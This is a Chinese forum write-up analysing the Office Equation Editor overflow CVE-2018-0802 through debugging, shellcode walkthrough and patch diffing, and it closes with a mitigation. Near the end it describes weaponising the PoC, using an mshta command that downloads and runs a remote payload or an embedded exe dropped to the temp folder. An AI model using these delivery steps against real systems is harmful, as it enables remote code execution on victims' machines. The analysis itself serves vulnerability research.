PPS:有童鞋和我反映,想复现和调试这个漏洞,但环境比较难找。由于该漏洞实际触发处为Word内嵌的公式编辑器(且为.exe文件),而并非Word程序本身,所以该漏洞能否成功触发环境与实际Office版本无关,而与公式编辑器版本有关。本人在文末已经将公式编辑器提取出来了,只要虚拟机内Office版本还支持老版的公式编辑器 ,把里面的EQNEDT32.EXE文件用我提取出来的EQNEDT32.EXE替换即可(建议替换前可以先备份一下,压缩包内EQNEDT32_OLD.EXE对应打CVE-2017-11882补丁前的公式编辑器,EQNEDT32.EXE为打完补丁后的,文件路径参考正文分析),之后就可以愉快进行玩耍了,无需再自行配置漏洞环境。
PS:有童鞋和我说图有点糊。。。已经在文末补了个图包,原贴有图看不太清楚的可以直接去看我的原图
萌新第一次发帖,求各位dalao轻喷。水平有限,如有错误或不足之处,还望各位dalao能够指出,谢谢
在2017年11月,微软发布的11月更新布丁中,微软将隐藏许久的office远程代码执行漏洞(CVE-2017-11882)给修复了,由于该漏洞为一个标准的的栈溢出漏洞,原理与复现都较为简单,且影响从Office 2000-Office 2016几乎所有的户Office版本,所以吸引了当时很多人的关注。不过,虽然微软发布了该漏洞的修复补丁,但却是以二进制补丁的形式发布的,并没有以源码的形式重新进行编译,
因而并没有从源码的层面上彻底排除该漏洞,
且修复后也没有开启DEP,仅仅增加了ASLR,这就为我们对该类漏洞的二次开发利用提供了可能,而CVE-2018-0802也就是在该背景下被人发现的
在虚拟机里双击打开POC发现弹出计算器,我们首先想到的是该POC可能调用了CreateProcess()函数,所以打开Word,用OD附加后给CreateProcess()函数下API断点,运行后再次打开POC发现计算器正常弹出,断点并没有断下
说明该POC并不是针对Word程序的,那究竟是谁调用了计算器呢?这里我们可以使用Process Monitor这个工具,打开Process Monitor,双击POC后,打开Process Monitor的进程树,可以发现是EQNEDT32.EXE这个程序调用了cmd弹出了计算器
在这里我们可以发现,Word的公式编辑器是作为一个独立的.exe文件存在的,并不是.dll之类的动态链接库,所以直接对Word下断点是没有用的。同时,也可以在上图的进程树窗口里找到Word的公式编辑器的文件路径(C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE),把它复制一份出来,双击启动后再用OD附加并设置API断点,运行后再打开POC文件,发现程序成功地断在CreateProcess()处,不过观察堆栈窗口后可以发现,调用并不是来自
EQNEDT32.EXE,而是来自Kernel32.dll
也就是说,漏洞触发后,并没有直接调用CreateProcess()这个函数,因此,打开OD的堆栈调用窗口,可以发现,漏洞触发后,应该是直接调用的Winexec()这个函数
给Winexec()这个函数下断点后,关闭Word,重新打开公式编辑器并用OD进行附加,然后打开POC,发现程序断在了Winexec()处。不过,我们发现,随着每次对公式编辑器重新进行附加调试,调用Winexec()函数的调用地址在不断变化,并不固定,为了方便后续对函数的分析与定位,我们可以暂时关掉该公式编辑器的ASLR,等到分析完毕再重新把它打开,关闭方法是找到PE文件的PE头中扩展头的DLL属性并将其前一个字节清零即可,即把IMAGE_NT_HEADERS->IMAGE_OPTIONAL_HEADER->DllCharacteristics字段的前一个字节清零,利用010 Edit的模板功能,可以很方便地完成
关闭ASLR之后,调用地址终于不再变化。接下来我们看Winexec()函数调用处附近的堆栈,熟悉Windows函数栈帧与调用约定以及有过栈溢出漏洞分析经验的童鞋可能知道,在Windows中,栈的生长方向是由高地址向低地址处生长,也就是说,先被调用的函数其栈帧在堆栈区的高地址处,而后被调用的函数其栈帧在堆栈区的低地址,而当一个函数内的局部变量缓冲区发生溢出时,则是由低地址向高地址处淹没的,也就是说,当发生栈溢出时,只有可能把本函数或者调用本函数的上层函数返回地址给淹没,而本函数调用的函数(其中可能就包括了发生溢出的函数)以及它们内部继续调用的下层函数其栈帧应该是是没有被破坏的
因此,我们可以在Winexec()函数被调用处的堆栈区域向上搜索那些堆栈区域没有被破坏的函数调用,并通过它们的返回地址找到调用它们的函数的地址并给它下断点,然后重新用OD附加公式编辑器并打开POC进行调试,调试时注意观察堆栈区域变化,当被断下的函数执行到某一个函数或是字符串赋值指令时,堆栈区域出现明显的变化且有函数返回地址被破坏时,该函数或是汇编指令即为我们需要找的溢出函数,被破坏的返回地址即为溢出点。顺着这个思路,我们可以在堆栈区12f100处向上搜索那些返回地址来自EQNEDT32.EXE的函数栈帧,并找到调用它们的函数然后下断点
不过,经过一系列的尝试后,我们发现,12f100向上的堆栈区域,似乎并没有能够改写一片连续的缓冲区并将某函数返回地址破坏的函数出现,这该怎么办?难道我们之前的分析有问题么?碰到这种情况,我们要积极地转换思路,同时对OD的代码窗口,数据窗口,堆栈窗口以及寄存器窗口多留意观察,不要在一棵树上吊死。如果细心观察OD的堆栈窗口和寄存器窗口,我们可以发现,call Winexec()这条汇编指令的地址是430c12,而此时eax里存放的值刚好也是430c12
于是我们可以大胆猜测,应该是一个jmp
eax或者是一个call
eax的汇编指令让程序的eip转到了430c12处,在没有开启DEP的情况下,这条汇编指令,最有可能出现在程序的堆栈区域,所以我们可以在堆栈区里搜索这2条指令,不过在OD里我们是无法在堆栈窗口直接搜索汇编指令,所以需要搜索这两条指令的机器码FF E0(jmp eax)和FF D0(call eax),经过搜索,只有12f379处出现了jmp eax,在代码窗口跟随该地址,并观察附近的汇编指令,我们还可以发现,函数的第一个参数保存在了ebx中,而此时ebx保存的也刚好是弹出计算器的cmd命令,由此,我们基本可以确定,12f379附近应该就是我们需要找的Shellcode
在12f379处下硬件访问断点和硬件写入断点,然后结束进程再用OD重新进行附加调试,发现程序依然断在了430c12处,这是因为被附加调试的程序在第一次只会被软件断点所断下,而这之后再遇到硬件断点或者内存断点的话才有可能被断下,因此,我们需要在该硬件断点被触发前先设置一个软件断点,结合前面所说的Windows中堆栈的生长方向,我们在OD的堆栈窗口中顺着12f379的地址向下寻找,可以找到一个返回地址来自ole32.dll的函数调用,给该函数返回地址下断点,然后再次用OD进行附加调试
当程序成功断下后,我们可以暂时先关闭该软件断点,然后按F9正常运行,之前设置的硬件断点便可以正常断下了。第一处断下的地址,经分析并没有什么特别的地方,接着再F9继续运行,也没什么特别的地方,直到第三次被断下,发现是一个串赋值指令,源字符串地址就是我们设置硬件断点地址后的的12f37c,而目的字符串地址则停在了12f29c,同时观察12f379与12f299处内存数据,也可以发现有jmp eax的机器码出现,熟悉汇编语言的童鞋,马上就会想到此处汇编指令对应的C代码应该是一个strcpy()的字符串拷贝函数,而12f29c附近应该就是被淹没的缓冲区,不过,观察后可以发现,该函数的栈帧栈底为12f208,而被淹没的缓冲区则在12f29c附近,所以猜测被溢出的缓冲区应该不属于该函数,而是调用该函数的上一层函数
接下来找到该函数起始地址421e39并设置断点,然后一路单步下去,在这个函数执行结束返回上一层函数的栈帧空间时,我们可以发现调用
421e39函数的这个函数,它的栈帧栈底为12f300,距离之前被淹没的缓冲区非常接近,对OD堆栈窗口进行观察可以发现该函数栈帧空间其ebp以及ebp向上的空间部分都出现了大量0x20202020数据,而不考虑开启了ASLR,一个正常运行的程序它的函数的栈底是不会有20202020这个地址出现的,所以这个函数的堆栈空间遭到了破坏,之前被淹没的缓冲区,覆盖的应该就是它的返回地址
至此,该漏洞的溢出函数以及溢出点已经被我们所找到,接下来就是验证我们的猜想。找到溢出点所在函数的起始地址421774并设置好断点,然后结束进程并重新用OD进行附加调试,程序成功地断在了421774函数这里,注意观察这里的堆栈空间,是从12f228到12f300
然后一路快速步过,直至运行到421e39函数这里,单步步入,这里首先求出了存放在esi寄存器中源字符串的长度为0x96
接着将源字符串中前0x94字节赋值给421774函数开辟的缓冲区里,这里我们发现,该缓冲区起始地址为12f270,赋值0x94个字节后刚好赋值到了12f303这个地址,而之前我们提到过,12f300到12f303这四个字节刚好存放的是421774函数的栈底
然后,又将源字符串的最后两个字节继续赋值给缓冲区,由于之前赋值操作已经覆盖到了421774函数的栈底,所以接下来的两个字节理所当然的覆盖到了421774函数返回上一层函数调用的返回地址,不过由于只有两个字节,所以实际是覆盖了返回地址的低两字节
接下来就是正常一路单步过去,直到421e39函数执行完返回421774函数的调用处,继续一路单步,可以发现在421774函数内部还有一处递归调用,调用421774函数自己,不过一路跟过去后发现并没有什么大问题,递归调用后的421774函数在调用421e39函数时仅仅只是普通的给字体名称赋值,同时在发生过一次递归之后也不会发生第二次递归,最后执行完后再次返回第一次调用421774函数的地方,一路快速单步步过,来到函数的ret指令处,通过上面的分析,我们已经知道此时的函数返回地址已经被修改
继续单步,发现又来到了一处ret指令,继续跳转,发现刚好跳转到了我们给421774函数的缓冲区赋值的源字符串的起始地址12f350
等到跳回这里,就是我们Shellcode执行的起始地址了,这里的Shellcode也不复杂,主要就是根据PEB获得镜像加载基址,并根据固定偏移获得call Winexec()汇编代码的地址,利用call pop等指令获得当前栈空间地址,并利用固定偏移找到Shellcode中弹出计算器cmd命令的字符串地址,最后传参调用函数,弹出计算器。具体分析如下
通过以上分析,我们发现,该Shellcode在执行时,有将栈帧故意抬高0x200字节的行为,这也就是我们在一开始分析该漏洞时,无法根据堆栈分布特点,准确定位到溢出函数与溢出点的原因。同时,由于原程序开启了ASLR,所以在覆盖返回地址时,仅仅覆盖了低两字节的相对于基址的偏移量,而高两字节的加载基址,对于已经运行起来的程序来说,任何函数的加载基址都是一样的,所以我们直接"借用"即可。而在Shellcode中的call pop指令组合获取当前堆栈地址以及利用PEB获取镜像的加载基址等操作,也避免了开启ASLR所带来的影响
至此,该漏洞的动态调试结束
在对该漏洞动态调试完成后,为了进一步了解漏洞的成因,我们还可以用IDA对其进一步的静态分析。用IDA打开
EQNEDT32.EXE文件,由于之前我们在用OD进行动态调试的时候,已经把该程序的ASLR关闭了,所以程序运行时使用的加载基址则是默认加载基址,这与IDA中显示的地址是一致的。我们直接来到发生溢出的函数421e39这里,可以很明显的看到,在进行字符串赋值操作的时候,并没有对长度进行检查,这也是造成这个漏洞主要原因
来到421774函数这里,我们可以看到该函数调用421e39函数的地方,同时,观察后也可以发现,在421774函数内开辟被淹没的缓冲区,原本长度可能只有0x3c个字节,被赋值时,是从第28位,也就是0x1c开始覆盖的,所以实际被覆盖的合法区域长度只有0x20个字节,而在被覆盖了0x94个字节之后,0xac-0x1c-0x94=-0x04,也就是ebp+3的位置,刚好覆盖掉ebp,之后2个字节接着覆盖掉返回地址低2字节,这也与我们之前的分析一致
结合在网上的其它资料,我们可以知道该漏洞是因为
EQNEDT32.EXE
中的“Equation Native”流中出现了问题,大致了解一下它的结构,整个”EquationNative”数据由头结构和后续数据组成。其头结构为
由于该漏洞是在CVE-2017-11882打完补丁后被发现了,作为它的"难兄难弟",我们自然关心它与CVE-2017-11882有什么联系。我们首先将此时的虚拟机快照保存,接着退回到Office 2007安装前的状态重新安装Office 2007,安装完后,不要打任何补丁,直接来到之前提取公式编辑器的文件路径重新复制一份并重命名为
EQNEDT32_OLD.EXE,然后再回到之前的快照当中用IDA插件BinDiff进行比较,关于BinDiff的安装与用法,可以参考https://www.cnblogs.com/lsdb/p/10543411.html这篇文章,在此不再过多叙述
通过对比,我们发现,打完补丁前后共有5个函数发生了改变,如果之前有分析过CVE-2017-11882那个漏洞的童鞋可能知道,触发那个漏洞的溢出函数与被淹没的缓冲区都在401160F函数里,这里我们关注这个函数
用BinDiff打开观察后发现,与补丁前相比,补丁后多了8个基本块,除此外也有部分基本块内的指令与原先不一样。这里我们来到对函数缓冲区进行赋值的地方,也就是函数开始处
可以发现,打完补丁后,在函数起始的地方多出了两个基本快,主要作用是在进行字符串赋值前,首先求一下该字符串长度并存在ecx中,如果大于等于0x21,则会将ecx即字符串赋值长度固定为0x20,随后再进行赋值操作,在IDA中能更明显地看出来
补丁前的41160f函数:
补丁后的41160f函数:
到这里,可能有的童鞋会想,打完kb4011604补丁后,CVE-2017-11882无法被触发,而CVE-2018-0802可以,那如果我们在未打补丁的情况下运行CVE-2018-0802POC也能成功弹出计算器的话,那这个POC岂不是可以"无视"微软的这个更新补丁显得很"通用"?我一开始也是这么想的,不过当我们在未打补丁的情况下运行CVE-2018-0802的POC时,它并没有成功,这又是为什么呢?为了找到原因,我们还是先用OD附加上公式编辑器并在421774和421e39这两个函数下断点,由于补丁前并没有开启ASLR,所以直接搜索地址即可,然后打开POC文件,发现程序成功在421774函数这里断下,接着一路单步过去直至来到421e39函数这里,单步进去,然后继续一路单步过去
可以发现这里缓冲区依然可以被成功淹没过去,接着继续一路单步下去,走完421e39函数,没有问题,回到421774函数这里,继续一路单步步过,直至步过4115a7函数时,程序发生了异常
非法读取2f204558这个地址上的数据,接下来,我们给4115a7函数下断点,重新附加调试,进入4115a7函数内,一路单步过去,发现是函数内调用41160f函数这里发生了异常,给41160f函数下断点,继续重新附加调试,然后在41160f函数内一路单步过去,直到在第一次调用44c430函数时触发异常,然后继续重新附加调试并在44c430函数内一路单步下去,最终,函数在执行到 MOV DL,BYTE PTR DS:[ECX] 这条指令时触发了异常
此时的ecx值已经为2f204558,向上回溯,发现ecx的值来自[esp+0x8],重新附加调试来到44c430这里,发现此时
[esp+0x8]
的数据也还是2f204558,继续向上回溯
观察可以发现
[esp+0x8]的值来自于调用44c430函数的函数,即41160f函数的第一个参数,我们再继续重新进行附加调试来到41160f函数入口这里
可以发现,此时41160f函数的第一个参数是12f350,并不是
2f204558,不过对于正常的函数调用来说,一个函数它的参数是不可能发生变化的,除非...我们一路单步运行下去,直至执行完 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 这条指令
可以发现,执行完这条指令后,此时的函数参数已经变成了
2f206578,继续单步下去
等到执行完451de0这个函数后,函数的参数最终变成了
2f204558。此时细心的童鞋应该已经发现,这个41160f函数其实就是补丁前造成CVE-2017-11882的"罪魁祸首",而这两个漏洞用来溢出缓冲区的源字符串的都出自同一个地址12f350,即上文分析时所提到的 MTEF字节流数据 中
字体标签 结构体的 字体名称 成员变量
bFontName[n]
在IDA中,我们可以更加清楚地观察到这一过程,分析可知在41160f函数中,若用来淹没缓冲区的源字符串长度超过0x30时,41160f函数参数a1便会被破坏,而这之后当44c430函数,即strstr()函数被调用时再将a1作为参数传入函数后就极易发生非法内存访问异常。而对于CVE-2018-0802POC来说,用来覆盖缓冲区的源字符串的长度足足有0x96个字节,早就超过了0x30,所以函数也就无法继续执行下去。而41160f函数是被4115a7函数所调用,而4115a7函数又是被421774函数所调用,所以在421774函数执行到ret指令前,函数就已经发生了异常,用来弹出计算器的Shellcode自然也就没有机会被执行。而在补丁过后,41160f函数中的缓冲区已经收到了保护,不可能再发生溢出的情况,但与此同时它的参数a1也受到了保护,不再有可能被破坏,也就是说像上述分析那样41160f函数在调用strstr()函数时发生非法内存访问异常的情况,在补丁过后是不可能出现的,41160f函数将会被顺利执行完,而这也就为CVE-2018-0802漏洞的出现创造了前提条件。
其实换个角度想想,虽然在补丁前41160f函数在对缓冲区进行赋值时未能加以限制,但由于之后其子函数被调用时,它的参数也会被作为其子函数的参数而一并传入进去,所以为了防止类似上述情况的"意外状况"发生,对缓冲区的溢出应"点到为止",即只能覆盖掉函数的返回地址而不能破坏它的传参,这也就严格"限制"了用来淹没缓冲区的源字符串长度最多只能是0x30,而对于一个需要0x96字节长度字符串来淹没缓冲区的CVE-2018-0802来说,这是不可能的。所以某种角度来说,正是由于补丁前对41160f函数缓冲区没有进行保护,间接"保护"了421774函数的缓冲区不可能被溢出破坏 :)
通过上述的调试与分析,相信大家已经对CVE-2018-0802的形成原因与触发原理有了一定基本的认识,接下来就是如何进行利用的问题了。通过在网上查阅相关的技术资料以及之前被曝光过部分APT组织所使用的攻击样本,主要的利用方式有以下两种。第一,将原POC文件中的"cmd.exe /c calc.exe"替换为"mshta http://abc.com/test.txt",这里的.txt文件名及其下载地址部分都是可以随意改动的,我们只需要把我们要执行的payload部分写入test.txt文件然后上传服务器即可。
mshta.exe英文全称Microsoft HTML Application, 主要是微软设计用来执行.hta文件的。上述命令执行后,会创建一个mshta.exe进程,然后从http://abc.com/test.txt下载指定的文件至
IE本地缓存地址然后去执行。由于这种利用方式要事先准备好一个服务器,比较麻烦,所以我们这里采用第二种更简单的方式。
第二种方式则是将原POC文件中的
"cmd.exe /c calc.exe"替换为"cmd /c %temp%/test.exe",然后将我们要执行的payload部分编译成test.exe文件并以package对象的形式嵌入到.rtf文件中。package对象,即包装对象,是一种在某个文档中插入程序包而创建的对象,主要功能为将PE文件释放到系统的临时目录文件夹中,对于rtf文件格式的文档而言,
如果用户打开该文档,则WORD进程会将对象提取到用户的临时目录中,
单击文档内的对象, 则会使用默认处理程序启动它们,在文档关闭后,WORD进程会将用户的临时目录中提取的对象进行删除。而在文档打开的时间段内,这些被释放对象可被系统上的其他任何进程所调用。和公式编辑器对象一样,package对象也属于OLE对象。OLE即Object Linking and Embedding,对象连接与嵌入技术,它一般是用来解决建立复合文档的问题,在Office软件的应用中一般用来满足某用户在一个文档中加入不同格式数据的需要(如文本、图像、声音等)。关于.rtf文件,OLE与package这三者的其他介绍,感兴趣的童鞋可以在网上参考其他资料,此处便不再过多叙述。这样,当我们双击打开我们准备好的exp时,该exp会首先将里面package对象释放到系统临时目录文件夹下,然后在漏洞触发后再由上述命令去执行。
下面是构造exp具体步骤,我们首先用vs2015把我们要执行的payload编译成一个.exe文件,这里我们所演示payload功能主要为弹窗
在CVE-2017-11882漏洞被曝光后微软的更新补丁来看,微软并没有对该程序的源码重新进行编译,加上写这个软件的公司被微软收购后早已不再更新,推测该程序的源码可能已经遗失,因此微软将很难从源代码级别去排查这个程序是否还有其他漏洞,而在这之后对CVE-2018-0802更新的补丁中微软已经彻底放弃EQEDT32.EXE文件,从而彻底杜绝了利用该程序进行漏洞攻击的行为。对于没有打更新补丁的情况,也可以通过禁用公式编辑器COM控件的方式进行缓解,具体操作为同时按下"Win+R"键打开"运行"窗口,然后输入"cmd"打开cmd窗口并输入以下指令(其中XX.X为版本号):
reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000- 0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-8-4 20:24
被zeroghost编辑
,原因: